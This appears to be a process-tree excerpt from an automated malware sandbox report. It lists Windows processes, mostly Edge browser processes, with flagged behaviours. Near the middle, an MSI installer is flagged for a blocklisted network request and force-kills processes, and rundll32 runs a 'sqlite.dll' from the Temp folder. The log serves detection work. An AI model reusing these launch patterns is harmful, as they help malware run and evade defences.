C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4792
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6564
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:7780
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5688
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1984
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:8512
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:7056
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7512
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1564
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:8792
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8224
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5576
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:6056
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:596
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:2328
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8464
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5504
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6204
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:5172 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7BFCAA516EB63249E6E74D7574236884 C2⤵PID:8612
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 36E719F09B0670EDCD6651929CCB50242⤵
- Blocklisted process makes network request
PID:8016 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:1948
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4E99163DD34E73E58694A70B6752864D E Global\MSI00002⤵PID:6328
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8444 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6496
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:656
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8256
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6364 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:1432
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1432 -s 6163⤵
- Program crash
PID:7768
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8848
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5992
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4948
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:4680
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7488
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3784
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1832
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4764
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8368
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8772
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:5248
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3988
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4976
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4080
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5356
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7084
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵PID:1896
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5032
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:8360
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:5540
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9128
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1356
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5124
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5644
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9108
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4312
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5132
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:8216
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7180
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:6676
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:5688
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1192
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6092
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:6464
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5592
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:5580
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
- Drops file in Windows directory
PID:7084
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7840
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:8544
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4644
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:7884
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8204
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
PID:8256
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:7596
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6632
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\12b3be9a4bc24f328ea43029cde14ed5 /t 6232 /p 66321⤵PID:6868
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7140
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8064
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5544
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2328
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8772
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4884
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\2766bdf9ea9545f09013abb3fece6879 /t 5068 /p 48841⤵PID:8572
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:1952
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8980
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5588
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6680
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:7320
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5924
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9088
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6120
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7508
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\bb78bb475a4843818f98b08996e93554 /t 4616 /p 75081⤵PID:4108
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5712
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2404
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\61c0b10965bc4016be38d9cb414f380d /t 1260 /p 46441⤵PID:6744
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:4048
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8140
-
